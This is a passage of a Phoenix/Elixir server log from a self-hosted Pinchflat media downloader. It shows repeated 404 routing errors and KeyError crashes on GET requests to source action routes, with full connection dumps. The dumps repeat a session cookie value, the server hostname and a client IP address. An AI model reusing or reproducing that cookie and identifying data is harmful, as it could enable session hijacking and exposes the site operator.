:init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163148.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163148.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48898}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163149.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:44.833 [info] GET /sources/3/force_index 17:53:44.834 [debug] QUERY OK source="settings" db=0.2ms idle=128.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.834 [debug] QUERY OK source="settings" db=0.1ms idle=108.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.834 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.834 [error] #PID<0.163151.0> running PinchflatWeb.Endpoint (connection #PID<0.163150.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163150.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163151.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT-NQt8iJYmYAFptB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163150.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163150.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48902}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163151.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in (truncated) 17:53:44.844 [info] GET /sources/3/force_redownload 17:53:44.844 [debug] QUERY OK source="settings" db=0.1ms idle=117.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.844 [debug] QUERY OK source="settings" db=0.1ms idle=111.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.845 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.849 [info] GET /sources/3/force_metadata_refresh 17:53:44.849 [debug] QUERY OK source="settings" db=0.1ms idle=115.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.849 [debug] QUERY OK source="settings" db=0.1ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.850 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.845 [error] #PID<0.163153.0> running PinchflatWeb.Endpoint (connection #PID<0.163152.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163152.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163153.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT-PysHqhnBMAFpth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163152.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163152.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48914}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163153.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :pl (truncated) 17:53:44.850 [error] #PID<0.163155.0> running PinchflatWeb.Endpoint (connection #PID<0.163154.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163154.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163155.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.55.82"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.55.82"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dT-RAObi3COcAFpuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163154.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163154.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 48922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.55.82", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.55.82" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYY182YzFFaDY3UHhST0pmXy1CQy1hWjFY.6NSAwbSqrmtgAypDsFrcP4_ukmlpft94hekyaeJoOvg" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163155.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ (truncated) 17:53:44.937 [info] GET /sources/3/sync_files_on_disk 17:53:44.937 [debug] QUERY OK source="settings" db=0.1ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.937 [debug] QUERY OK source="settings" db=0.1ms idle=93.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:44.938 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:44.938 [error] #PID<0.163157.0> running PinchflatWeb.Endpoint (connection #PID<0.163156.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/sync_files_on_disk ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/sync_files_on_disk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163156.0>, port: 80, scheme: "http", version: :"HTTP/1.1", 